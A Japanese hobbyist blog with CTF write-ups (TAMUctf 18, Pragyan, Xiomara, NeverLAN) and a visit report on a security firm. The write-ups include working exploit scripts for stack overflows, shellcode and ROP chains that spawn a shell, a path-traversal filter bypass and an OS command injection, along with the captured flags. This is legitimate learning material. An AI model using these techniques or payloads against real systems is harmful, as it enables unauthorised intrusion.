HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

TAMUctf 18 Writeup

先日行われたTAMUctf 18にチームHarekazeとして参加しました。 チーム全体で2574点を獲得し、130位となりました。私はそのうちの175点を獲得しました。

Sat, 17 Feb. 2018, 00:00 UTC — Mon, 26 Feb. 2018, 00:00 UTC 
On-line
A TAMUctf event.
Format: Jeopardy Jeopardy
Official URL: https://ctf.tamu.edu/
This event's weight is subject of public voting!
Future weight: 34.10 
Rating weight: 23.87 
Event organizers 
    TAMUctf

以下、Writeupです。

[pwn 25] pwn1

mainを見てみると、以下のようになっていた。

 804860e:       sub    esp,0xc
 8048611:       lea    eax,[ebp-0x23]
 8048614:       push   eax
 8048615:       call   80483d0 <gets@plt>
 804861a:       add    esp,0x10
 804861d:       cmp    DWORD PTR [ebp-0xc],0xf007ba11
 8048624:       jne    804862d <main+0x7b>
 8048626:       call   804854b <print_flag>

gets関数でユーザからの入力をebp-0x23に読み込んで、その中からebp-0xcの中の値を比較し、0xf007ba11であるかどうかを判定する。 0xf007ba11であれば、print_flagを呼び出しているため、この値になるように入力を調整する。

書いたexploitコードはこちら。

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4321))

    s.recv(1024)

    buf = 'A' * 23
    buf += struct.pack("<I",0xf007ba11)
    buf += "\n"

    s.send(buf)

    s.recv(1024)
    print(s.recv(1024))


if __name__ == '__main__':
    main()

イメージとして以下のようになる。

[ebp-0x24]        ?AAA
[ebp-0x20]        AAAA
[ebp-0x1c]        AAAA
[ebp-0x18]        AAAA
[ebp-0x14]        AAAA
[ebp-0x10]        AAAA
[ebp-0x0c]        0xf007ba11
[ebp-0x08]        AAAA
...

フラグは、gigem{H0W_H4RD_1S_TH4T?}だった。

[pwn 50] pwn2

mainからechoが呼び出されており、その中身は以下のようになっていた。

080485b2 <echo>:
 80485b2:       push   ebp
 80485b3:       mov    ebp,esp
 80485b5:       sub    esp,0xf8
...
 80485cf:       sub    esp,0xc
 80485d2:       lea    eax,[ebp-0xef]
 80485d8:       push   eax
 80485d9:       call   80483d0 <gets@plt>
 80485de:       add    esp,0x10
 80485e1:       sub    esp,0xc
 80485e4:       lea    eax,[ebp-0xef]
 80485ea:       push   eax
 80485eb:       call   80483f0 <puts@plt>
 80485f0:       add    esp,0x10
 80485f3:       nop
 80485f4:       leave  
 80485f5:       ret    

こちらもpwn1と同様に、gets関数を用いてユーザからの入力をebp-0xefに読み込んでいる。 pwn1と違うのは、パスワードのような正しい値は存在せず、通常の入力の範囲だと何も先に進まない。入力された値がエコーバックするだけ。 しかしprint_flag関数は存在するので、そこにeipを移したい。

ここはスタックBOF脆弱性を使ってリターンアドレスを書き換えることにする。書いたexploitコードは以下の通り。

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4322))

    print(s.recv(1024))

    buf = 'A' * 0xef # buf
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",0x0804854b) # func "print_flag" addr
    buf += "\n"


    s.send(buf)
    s.recv(1024)

    print(s.recv(1024)) # flag


if __name__ == '__main__':
    main()

イメージは以下の通り

[ebp-0xf0]        ?AAA            <=buf
[ebp-0xec]        AAAA
...
[ebp-0x04]        AAAA
[ebp-0x00]        AAAA            <= saved ebp
[ebp+0x04]        (print_flag)<=return address

フラグは、gigem{3ch035_0f_7h3_p4s7}だった。

[pwn 75] pwn3

今回はprint_flagのようなフラグを出力する処理は無かった。 その代わり、echoの中身を見てみると、以下のようになっていた。

080484cb <echo>:
 80484cb:   push   ebp
 80484cc:   mov    ebp,esp
 80484ce:   sub    esp,0xf8
 80484d4:   sub    esp,0x8
 80484d7:   lea    eax,[ebp-0xee]
 80484dd:   push   eax
 80484de:   push   0x8048600 # "Your random number %p!\n"
 80484e3:   call   8048370 <printf@plt>
 80484e8:   add    esp,0x10
...
 80484fb:   sub    esp,0xc
 80484fe:   lea    eax,[ebp-0xee]
 8048504:   push   eax
 8048505:   call   8048380 <gets@plt>
 804850a:   add    esp,0x10
 804850d:   sub    esp,0xc
 8048510:   lea    eax,[ebp-0xee]
 8048516:   push   eax
 8048517:   call   8048390 <puts@plt>
 804851c:   add    esp,0x10
 804851f:   nop
 8048520:   leave
 8048521:   ret

gets関数を用いてユーザからの入力をebp-0xeeに読み込んでいるが、その実際のアドレスをprintf関数を用いて表示している。 さらに、このバイナリのセキュリティ機構をチェックしてみる。

$ checksec.sh --file pwn3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   pwn3

NXdisabled、つまりシェルコード実行に持ち込むことができる。

Linuxx86上で動作するシェルコードをExploit-DBから引っ張ってくる。最終的なexploitコードは以下のようになった。

import socket
import struct
import telnetlib

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4323))

    prompt_str = s.recv(1024)
    print(prompt_str)
    buf_addr = int(prompt_str[146:156],16)
    print("{0:x}".format(buf_addr))

    buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # linux x86 /bin/sh shellcode
    buf += 'A' * (0xee - len(buf))
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",buf_addr) # buf_addr (shellcode addr)
    buf += "\n"


    s.send(buf)
    s.recv(1024)

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()




if __name__ == '__main__':
    main()

イメージとしては、以下のようになる。

[ebp-0xf0]        ??(s
[ebp-0xec]        hell
[ebp-0xe8]        code
[ebp-0xe4]        )AAA
...
[ebp-0x00]        AAAA
[ebp+0x04]        (ebp-0xeeのアドレス)

フラグはgigem{n0w_w3_4r3_g377in6_s74r73d}だった。

[Scenario - NotSoAwesomeInc 25] 00_intrusion

初めて見るタイプの問題だった。シナリオに沿って、色々と調べてみろ、という感じの問題だった。

A system administrator performing routine backups for a company named Awesome Inc noticed some strange activity on a server. The tech didn't say what exactly was "strange", but we'll check it out.

Attached is the output from an external nmap of the server and outputs from ipconfig, netsh, and systeminfo that the tech ran on the server.

To complete this challenge, answer the following question(s):

1.  What operating system is this server running (linux, solaris, windows, etc..)?
2.  What operating system version is this server running (10.04, 12.04, 10, 11, 2003, 2008, etc..)?
3.  List the highest service pack installed or null if none are installed (null, sp0, sp1, sp2, etc..).
4.  What is the host's name (all lowercase)?
5.  Is the server joined to a domain (yes/no)?
6.  If the answer to 5 was yes, what is the domain (all lowercase, else enter null)?
7.  List any ipv4 addresses for this host in lexicographic order separated by commas.
8.  List the port numbers of any services accessible externally in lexicographic order separated by commas.
9.  Does the server use an ingress filtering firewall (yes/no)?
10. Does the server use an egress filtering firewall (yes/no)

答えは上から順番に、

1.  windows
2.  2008
3.  sp1
4.  www
5.  yes
6.  awesomeinc.local
7.  10.0.0.11,192.168.1.11
8.  3389,80
9.  yes
10. no
反省

[Scenario - NotSoAwesomeInc]のカテゴリの問題が面白かったが、Linuxのコマンド力不足を感じた。 grepだったりcutだったり、使いこなすだけで便利なコマンドの使い方は一通り覚えていきたい。

TAMUctf 18 [pwn 125] pwn5 復習

前回に引き続き、TAMUctf 18の[pwn 200] pwn5を復習する。 参考にしたサイトはこちら。

https://devel0pment.de/?p=407#pwn5

まずはバイナリの初動調査。

$ file pwn5
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=732cfe3cc8d9338ec19a157615505d10d2dc396b, not stripped

32bitstaticなバイナリ。stripされてない。

続いてセキュリティ機構の調査をする。

$ checksec.sh --file pwn5
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   pwn5

NXが有効なため、シェルコードを持ち込んで実行するということはできないらしい。

それからディスアセンブルをしてみると、change_major脆弱性を発見した。

0804889c <change_major>:
 804889c:   push   ebp
 804889d:   mov    ebp,esp
 804889f:   sub    esp,0x28
 80488a2:   call   8051260 <getchar>
 80488a7:   sub    esp,0xc
 80488aa:   lea    eax,[ebp-0x1c]
 80488ad:   push   eax
 80488ae:   call   804f7e0 <_IO_gets>
 80488b3:   add    esp,0x10
 80488b6:   sub    esp,0x4
 80488b9:   push   0x14
 80488bb:   push   0x80f1a04
 80488c0:   lea    eax,[ebp-0x1c]
 80488c3:   push   eax
 80488c4:   call   8048260 <.plt+0x80>
 80488c9:   add    esp,0x10
 80488cc:   sub    esp,0x8
 80488cf:   push   0x80f1a04
 80488d4:   push   0x80bf508
 80488d9:   call   804efe0 <_IO_printf>
 80488de:   add    esp,0x10
 80488e1:   nop
 80488e2:   leave
 80488e3:   ret

gets関数を使って[ebp-0x1c]にユーザからの入力を読み込んでいる。つまりスタックBOF脆弱性が存在する。

他の処理にフラグを直接読み込むなどの処理は無かった。 なので、ここからシステムコール呼び出しによるexecve("/bin/sh",0x0,0x0)をROPを用いて実行する。

ROPによってexecve("/bin/sh",0x0,0x0)を実行するには、以下のような処理を実行する必要がある。

以上のような処理をできるようROPガジェットを探し、アドレスをまとめると以下のとおりになった。

  • mov eax,0x7; ret(0x80932f0),inc eax; pop edi; ret(0x805d39c)

  • pop edx; pop ecx; pop edx; ret(0x80733b0)

  • int 0x80(0x8071005)

また、/bin/shの文字列を実際に格納するのは、グローバル変数として宣言されているfirst_nameもしくはlast_nameを使うことにした。 (今回はfirst_name(0x80f1a20)を使うことにした。)

以上のことをまとめて、exploitコードを書くと以下のようになる。

import socket
import struct
import telnetlib

pop_edx_ecx_ebx = 0x80733b0
inc_eax_pop_edi = 0x805d39c
int_0x80 = 0x8071005
first_name = 0x80f1a20
mov_eax_0x7 = 0x80932f0

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("localhost",12345))

    s.send("/bin/sh\n")
    s.send("happynote3966\n")
    s.send("pwn\n")
    s.send("y\n")
    s.send("2\n")

    buf = 'A' * 0x1c
    buf += 'AAAA' # saved ebp
    # ebx = "/bin/sh", ecx = 0x0
    buf += struct.pack("<I",pop_edx_ecx_ebx)
    buf += struct.pack("<I",0x0)
    buf += struct.pack("<I",0x0)
    buf += struct.pack("<I",first_name)
    # eax = 0xb
    buf += struct.pack("<I",mov_eax_0x7)
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    # int 0x80
    buf += struct.pack("<I",int_0x80)

    buf += "\n"

    s.send(buf)
    print("[+] GOT SHELL!")
    shell(s)

if __name__ == '__main__':
    main()

イメージ的には、以下のようになる。

[ebp-0x1c]        AAAA
[ebp-0x18]        AAAA
[ebp-0x14]        AAAA
[ebp-0x10]        AAAA
[ebp-0x0c]        AAAA
[ebp-0x08]        AAAA
[ebp-0x04]        AAAA
[ebp-0x00]        AAAA
[ebp+0x04]        pop_edx_ecx_ebx    <= リターンアドレス
[ebp+0x08]        0x0                <= edx=0x0
[ebp+0x0c]        0x0                <= ecx=0x0
[ebp+0x10]        first_name         <= ebx="/bin/sh"
[ebp+0x14]        mov_eax_0x7        <= eax=0xb
[ebp+0x18]        inc_eax_pop_edi
[ebp+0x1c]        AAAA
[ebp+0x20]        inc_eax_pop_edi
[ebp+0x24]        AAAA
[ebp+0x28]        inc_eax_pop_edi
[ebp+0x2c]        AAAA
[ebp+0x30]        inc_eax_pop_edi
[ebp+0x34]        AAAA
[ebp+0x38]        int 0x80           <= システムコール呼び出し

これらを実行してみる。

$ python exploit.py 
[+] GOT SHELL!
id
uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966),...

ちゃんとシェルが起動された。

反省

自作していたROP問がopenreadwriteを使用してフラグを入手する想定だったため、 真っ先に思い浮かんだものがそっちのやり方になってしまった。 ROPでシェルを起動できそうなら、その方法でexploitを進める癖をしないといけないと思った。

TAMUctf 18 [pwn 125] pwn4 復習

先日参加したTAMUctf 18のpwn4とpwn5が解けなかったので復習。 今回はそのうちのpwn4について。

簡易シェルのサービスが提供されている。 1~5の数字もしくはコマンド名を入力することで、system関数を通じてその結果を表示するものだった。

雑にデコンパイルすると、以下のようになった。

sub_080485ef_reduced_shell(){
    //stack := 0x28
    puts("I am a reduced online shell");
    puts("Your options are :");
    puts("1. ls\n2. cal\n3. pwd\n4. whoami\n5. exit");
    printf("Input > ");
    gets(ebp-0x1c);
    if(strcmp(ebp-0x1c,"ls") == 0 || strcmp(ebp-0x1c,"1") == 0){
        ls();
    }
    else if(strcmp(ebp-0x1c,"cal") == 0 || strcmp(ebp-0x1c,"2") == 0){
        cal();
    }
    else if(strcmp(ebp-0x1c,"pwd") == 0 || strcmp(ebp-0x1c,"3") == 0){
        pwd();
    }
    else if(strcmp(ebp-0x1c,"whoami") == 0 || strcmp(ebp-0x1c,"4") == 0){
        whoami();
    }
    else if(strcmp(ebp-0x1c,"exit") == 0 || strcmp(ebp-0x1c,"5") == 0){
        exit(0x0);
    }
    else{
        puts("Unkown Command");
        putchar('\n');
    }
}

この部分がユーザ入力の比較になっていて、入力した値によって以下のような処理が実行される。 (例はwhoamiもしくは4が入力された場合)

sub_080485d6_whoami(){
    system("whoami");
}

ebp-0x1cに対してユーザ入力を受け付けているが、その際に使用している関数がgetsとなっている。 つまり、スタックBOF脆弱性がある。

さらに、このバイナリには/bin/shの文字列が仕込まれていた。

$ strings -tx -a pwn4 | grep "/bin/sh"
   1038 /bin/sh
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
...
  [24] .got.plt          PROGBITS        0804a000 001000 000030 04  WA  0   0  4
  [25] .data             PROGBITS        0804a030 001030 000010 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001040 000008 00  WA  0   0  4

加えて、plt領域のsystem関数のアドレスは0x08048430となっていた。

...
08048430 <system@plt>:
 8048430:       jmp    DWORD PTR ds:0x804a01c
 8048436:       push   0x20
 804843b:       jmp    80483e0 <.plt>
...

system関数で/bin/shを起動して、シェル上でフラグを読み込むのが正解らしい。

以下の点を踏まえてexploitコードを書いてみる。

  • スタックBOFがあり、ebp-0x1cの領域から読み込まれている

  • /bin/sh0x804a038の場所にある

    • .dataのAddrの値 + (/bin/shのオフセット - .dataのオフセット) = 0x0804a030 + (0x1038 - 0x1030) = 0x804a038
  • system関数は0x08048430の場所にある

import socket
import struct
import telnetlib

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("localhost",12345))

    s.recv(1024)

    system_addr = 0x08048430 # system
    binsh_addr = 0x0804a038 # "/bin/sh" addr

    buf = 'A' * 0x1c # buf
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",system_addr)
    buf += 'AAAA' # return address (no meaning)
    buf += struct.pack("<I",binsh_addr)

    buf += "\n"

    s.send(buf)

    print("[+] GOT SHELL!")

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


if __name__ == '__main__':
    main()

図で示すとこんな感じになる。

[ebp-0x1c]    AAAA
[ebp-0x18]    AAAA
[ebp-0x14]    AAAA
[ebp-0x10]    AAAA
[ebp-0x0c]    AAAA
[ebp-0x08]    AAAA
[epb-0x04]    AAAA
[ebp-0x00]    AAAA        <= saved ebp
[ebp+0x04]    (system)    <= リターンアドレス
[ebp+0x08]    AAAA        <= system関数からのリターンアドレス
[ebp+0x0c]    (/bin/sh)   <= system関数への引数

実行してみると、/bin/shが起動していることが分かる。

$ python exploit.py 
[+] GOT SHELL!
Unkown Command

id
uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966)...

あとはフラグをcatコマンドなどで読み取るだけ。

反省

競技時間中にpwn4ができなくて躓いていた。 どうやらアドレスを正確に指定しなかったために/bin/shが起動できなかったらしい。 焦らずにちゃんと値を確認する癖をつけたい。

Pragyan CTF 2018 Writeup

Pragyan CTF 2018に参加しました。 個人チーム0p3r4t0rとして、950点を獲得し、1282チーム中129位となりました。

Fri, 02 March 2018, 07:30 UTC — Sat, 03 March 2018, 19:30 UTC 
On-line
A Pragyan CTF event.
Format: Jeopardy Jeopardy
Official URL: https://ctf.pragyan.org/
This event's weight is subject of public voting!
Rating weight: 6.68 
Event organizers Pragyan

解けた問題は以下のとおりです。

  • [binary 200] Old school hack

  • [forensics 100] Quick Response

  • [reverse 50] Assemble your way to the flag

  • [stego 150] Scientist’s research

  • [web 100] Unfinished business

  • [web 150] Authenticate your way to admin

  • [web 200] El33t Articles Hub

以下、writeupです。

[binary 200] Old school hack

配布されるバイナリは、以下の手順でレコードを読み出すというものだった。

  1. パスワード入力画面(スタックBOFあり)
  2. 読み込みたいレコードの番号を入力する
  3. レコードの内容が表示される

1.の段階でスタックBOF脆弱性が存在しているが、Canaryが配置されているためリターンアドレスの書き換えはできない。また、パスワードの比較にはstrncmpを使用しており、パスワードの戦闘10文字が正しく入力されていれば、後は何を入力していても認証が通る。

ちなみにそのパスワードはkaiokenx20だった。ドラゴンボール?(よく分かってない)

2.の段階で選べるレコードの中にはフラグを出力するらしいところがあるが、その直後にexit(0)してしまうために意味がない(ただし、フラグがflag.txtというファイルの中にあることは推測できる)。

3.の段階では、仮に2の段階でflag.txtを指定できたとしても、36文字のファイル名でなければexit(0)してしまう。

というわけで、exploitコードは以下の通り。

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("128.199.224.175",13000))


print(s.recv(1024))
buf = "kaiokenx20"
buf += "A" * 6
buf += "./" * 14
buf += "flag.txt"
buf += "\n"

s.send(buf)
print(s.recv(1024))
s.send("0\n");
print(s.recv(10000000))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
s.close()

汚い上に安定しなかったが、一応これで出力された。 考え方としては、下のようにレコード名にあたるスタック上の領域をパスワード入力の際に上書きした。

[rbp-0x48] 0x0        <= レコード番号入力
[rbp-0x40] kaiokenx        <= パスワード入力
[rbp-0x38] 20AAAAAA
[rbp-0x30] ././././        <= レコード名
[rbp-0x28] ././././
[rbp-0x20] ././././
[rbp-0x18] ././flag
[rbp-0x10] .txt\0

フラグはpctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}だった。

パストラバーサルを利用して文字列の長さ制限を回避することを思いつくのに時間がかかった。 (最初はflag.txtmd5sumにかけ、ファイル名として使うのかと思った。もっとひらめきを得たい)

[forensics 100] Quick Response

不完全なQRコードが画像で配布される。このQRコードが読み取れればフラグが得られるらしい。

f:id:HappyNote3966:20180304182950p:plain

QRコードの知識はあまりなかったので、以下のサイトを参考にして修正した。

www.keyence.co.jp

要約すると、以下の3つを修正することで読み取れる。

  • ファインダパターンの修正

  • アライメントパターンの修正

  • タイミングパターンの修正

修正後は以下のようになった。

f:id:HappyNote3966:20180304183246p:plain

修正したQRコードを読み取ると、以下のような文字列が流れてきた。

The flag is:
pctf{r3p4ir1nG~Qr_1s-my_h0bBy}

フラグはpctf{r3p4ir1nG~Qr_1s-my_h0bBy}だった。

ここでは元のQRコードを目視で読み取っていたので、時間がかかった。スクリプトか何かで自動化させるべきだったのかもしれない。 しかしQRコードの勉強になった。何気なく使っているものの仕組みを知るのは本当に面白い。

[reverse 50] Assemble your way to the flag

バイナリが渡される。そのバイナリを実行してみると、

Look for something else....

と表示されるだけだった。逆アセンブルして中身を確認してみると、文字列が表示される処理の前では1バイトずつxorしてスタック上にプッシュするという処理が行われていた。 つまり、文字列表示の直前でスタックの内容が見通せればいいので、以下のようにした。

  1. 出力関数(printf)にブレークポイントを仕掛ける
  2. gdb-pedaの機能のtelescopeを用いて、スタックの中身を一気に見た

フラグはpctf{l3geNds_c0d3_1n_4Ss3mb1y}となった。

[stego 150] Scientist’s research

大量に数値が書き込まれたxlsxファイルが与えられる。 その数値をざっと見ていると、0の値だけがやたらと多いことに気づいた。セルの大きさを調整し、条件付き書式で0の値を持ったセルのみ色を塗ってみた。 色を塗ったセルは文字を形作っており、読むとフラグになっていた。

f:id:HappyNote3966:20180304184106p:plain

フラグはpctf{ord3r_out_of=ch4os+this_world}だった。

MS Excelが必要かと思ったが、Libre Officeでも条件付き書式が使えるとは思わなかった。

[web 100] Unfinished business

まずはログインしろと言われる(ログイン時のアカウントはCTFのアカウントそのものを使う)。 ログインした先のページには特段フラグのようなものはなかった。 Burpを使ってよく見てみると、ログイン直後にはリダイレクトされていることがわかった。

f:id:HappyNote3966:20180304184510p:plain

そのページの中にはちゃんとフラグが書かれていた。

フラグはpctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}だった。

[web 150] Authenticate your way to admin

homepage.phplogin.phpのソースが配布された。 [web 100]と同様にCTFのアカウントを用いてログインした先のページでは、セッションの中にあるid_typeteam_nameidadminlogged_intrueになっていればフラグが出力されるようになっているが、一度のログイン試行でこの3つの条件を成立させることはできないようになっていた。 このページの特性として、セッション番号はログイン時に再生成されず、使い回しができるようになっていた。 そのため、以下のような手順を踏んで条件の成立を試みた。

  1. 自分たちのCTFアカウントを用いてログインする(ログインした後は、セッションにlogged_inの値がtrueになる)
[logged_in = ture]
[id_type = team_name]
[id = 0p3r4t0r]
  1. ログアウトせずにチーム名をadminとしてログインする(この時点では弾かれてしまうが、logged_inはtrueのまま)
[logged_in = ture]
[id_type = team_name]
[id = admin] <=ここを変更する
  1. homepage.phpに直接アクセスすると、フラグも一緒に出力される。

f:id:HappyNote3966:20180304184958p:plain

フラグは、pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}だった。

[web 200] El33t Articles Hub

記事をいくつか見れるページのようで、このソースを見てみるとfavicon.phpというPHPスクリプトが存在することが分かる。

f:id:HappyNote3966:20180304190716p:plain

そのPHPスクリプトidというパラメータに数値を与えると、pngファイルが得られる事が分かった。 このidパラメータに大きな数字を指定し、通信の内容をWiresharkを用いてみてみると、png,icoファイルの他に.phpファイルを読み込めるという旨のエラーメッセージが返ってきていた。 そこで、idfaviconを指定し、favicon.phpソースコードを取得することに成功した。

f:id:HappyNote3966:20180304190744p:plain

更に、index.phpが存在すると推測し、index.phpソースコードを取得し、index.phpの内容からfetch.php,helpers.phpも取得した。 得られた4つのソースコードを見てみると、以下のようなことが分かった。

  • secret/flag_7258689d608c0e2e6a90c33c44409f9d.txtというファイルがフラグである

  • index.phpで指定されるfileのパラメータはサニタイズされる

    • php:secret/flag_7258689d608c0e2e6a90c33c44409f9dの文字列を発見すると「イタズラしやがって!(意訳)」と怒られる

    • ./../は取り除かれる

具体的には、以下のコードになっていた。

    ...
    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }
    ...

これらを回避するため、以下のようなパラメータを指定した。

file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d

f:id:HappyNote3966:20180304191024p:plain

アクセスするとフラグが出力された。

フラグはpctf{1h3-v41id41i0n_SuCk3d~r34l-baD}だった。

感想

前のCTFよりは進歩できたのかなと思う。 ただ、[crypto]の問題が一問も解けなかったのが悔しかった。次回はcryptoも解けるようになりたい。 そしてやっぱりひらめくのに時間がかかることが多かった。もうちょっと早くひらめきが生まれるようになりたい。

あとreverseの問題があまりなかった。もう少し欲しかった。

Xiomara CTF 2018 Writeup

Xiomara CTF 2018に個人チーム0p3r4t0rとして参加し、151点を入れて147位でした。

Fri, 23 Feb. 2018, 17:00 UTC — Sat, 24 Feb. 2018, 17:00 UTC 
On-line
A XiomaraCTF event.
Format: Jeopardy Jeopardy
Official URL: http://xiomara.xyz/

以下、Writeupです。

[Misc 1] Everyone is winner

IRCに接続すると、運営からのメッセージにフラグが入っていた。それを提出して終わり。 フラグは失念してしまった。

[Web 50] Flag Checker V1.0

JSFuckで難読化されたJavaScriptでフラグをチェックするというサイトが提示される。 Google Chromeデベロッパーツールを使ってステップ実行を使いながら、フラグとダイアログの入力を比較する処理まで実行する。 比較処理の部分でフラグがそのまま見えるので、それを提出。 Flag:xiomara{0bfusc@tion_c@n_b3_e@sy_@s_j5fuck}

[Web 100] Flag Generator Software

「フラグを配信するけど、もう時間切れだ、ごめんよ(意訳)」的なサイトが提示される。 メールアドレスの入力フォームに関しては、ブラウザ側でのバリデーションがされているようだったが、サーバ側ではOSコマンドをそのまま使っており、OSコマンドインジェクションの脆弱性があることがわかった。 なので、Fiddlerを使ってブラウザ側の入力バリデーションを回避し、その上で;lsのように;と任意のコマンドを投げる。 遷移するページではコマンドの実行結果が示されているので、それを見ながらフラグを生成すると思わしき実行ファイルに対してstringsコマンドでフラグの文字列を抜き出した。 Flag:xiomara{command_injections_are_bad}

反省

フラグや問題文を失念したり、そもそもの解法を忘れかけたり(思い出すのに時間がかかった)していた。 Web系の問題はCTFサーバがクローズすると使えなくなるのを前提にしないとあとでWriteupを書くのに苦労するので、 解法や実行イメージのスクショも含めて保存しながら競技を進めるべきだと感じた。

そして簡単な問題しか解けなかったので圧倒的成長したい。

NeverLAN CTF 2018 writeup

NeverLAN CTF 2018にチームHarekazeとして参加しました。

 Fri, 23 Feb. 2018, 19:00 UTC — Tue, 27 Feb. 2018, 00:00 UTC 

On-line

A NeverLAN CTF event.

Format: Jeopardy Jeopardy

Official URL: http://neverlanctf.com/

チームで4410点獲得し、47位でした。 私はそのうち1問だけ解いて100点を入れました。(よわひ)

以下はwriteupです。

[Trivia 100] What is it?

Description: For every Vulnerability there is an exploit. Name the thing that is a non-profit project that is provided as a public service

最初はMetasploitかと思ったけど違った。 他に思いつくのはよく使うExploit-DBだったので投げてみたら通ってしまった。

https://www.exploit-db.com/

反省

あんまり解けなかった。チームの人すごいと思いながらTrivia系の問題をすることしかできないのが辛かった。 次はジャンル問わずいろんな問題を見てみる。

そしてこれはwriteupと言えるのか…

サイバーディフェンス研究所見学記

 3月某日、サイバーディフェンス研究所(以下CDI)の方にお邪魔させて頂きました。

www.cyberdefense.jp

見学させてもらうまでの経緯

 私が昨年の8月に参加したセキュリティキャンプ全国大会では、CDIの福森さんが「ZENIGATAになりたくて」という題で講義をされました。

happynote3966.hatenadiary.com

 CDIの福森さんの講義を聞いた後、CDIのポロシャツを欲しいとTwitterで呟いたところ…

 ポロシャツなどCDIグッズを頂きました。夏の間はキャンプTシャツとCDIポロシャツを着て過ごしていました。

 話はそこで終わりではなく、そこでCDIのオフィスに見学に来ませんか?とのお誘いを受けました。滅多にない機会なので、お邪魔させてもらうことに。
(見学の約束は夏にしたのですが、僕の個人的な都合で3月上旬まで伸ばしてもらいました。申し訳ないです…)

 CDIのことを知るようになったのはキャンプに参加してから。あまり詳しくは知らなかったけれども、セキュリティの会社だということは想像が付きました。
きっかけはNHKで放送されていたプロフェッショナル~仕事の流儀~でのこと。名和さんがセキュリティ業務に対してストイックに取り組む姿勢を見てすごいなぁと思い、ちょっとだけ調べてみたら、名和さんがCDIに在籍されていたのを知りました。

ちなみに、見たのはこちら↓

www.nhk.or.jp

オフィスにお邪魔すると

 CDIオフィスの場所は、東京駅前の八重洲センタービル4階。
(正確には〒103-0028 東京都中央区八重洲1-6-6 八重洲センタービル4Fです)

https://goo.gl/maps/h6YLJxCYGNT2

 許可を貰ってるとはいえ、企業のオフィスに一人でお邪魔するなんてことは初めてなので少し緊張しました。
エレベータで4階まで上昇し、案内掲示に従って進むと…CDIのオフィス入り口がありました。そこには、CDIのロゴが壁に埋め込まれています。

f:id:HappyNote3966:20170316155450j:plain

ハッカーが使うプロンプトを連想させるような色の組み合わせ。カッコいいですね…( *´艸`)

f:id:HappyNote3966:20170316155446j:plain

 そこで迎えてくださったのは、CDI営業部の佐藤さん。見学まで何度かやり取りをさせて頂いた方です。また、同じくエンジニアの丑丸さんと松隈さんにも同席して頂いて、CDIの概要などを伺うことができました。

CDIってどんな企業?

 CDIのことを知った時、「CDIはセキュリティの企業」というイメージを持っていても、じゃあ何をやっているかと言われると…「サイバー『ディフェンス』なのだから、守ってる企業なんじゃないのかな」というイメージが強かったのが本音です。

 では実際のところどうなのかな?と、佐藤さんからお話を伺いました。

 CDIは主に4つの活動を中心として、その内訳としては、

  • セキュリティ診断(脆弱性診断)

 自分たちのシステムやサービスがちゃんと安全な状態か実際に確かめるものです。一般的なネットワーク診断やプラットフォームの脆弱性診断は、ホスト単体で安全かどうかを確かめますが、CDIでは複数のホストやネットワーク機器を含む組織のネットワーク全体を対象として診断を実施します。具体的には、ホスト単体への侵入を試行するだけではなく、あるホストから入手した情報に基づき、別のシステムなどに攻撃を仕掛け、新たに情報を入手し、攻撃…といった感じで、実際のハッカーが全力で攻撃を仕掛けたことを想定した診断を行います。びっくりしたのがハードウェアの診断です。製造メーカーからの依頼に基づき、ハードウェアをオシロスコープ、等で何の通信をしているか調べたりもするそうです。

io.cyberdefense.jp

  • トレーニング(人材育成)

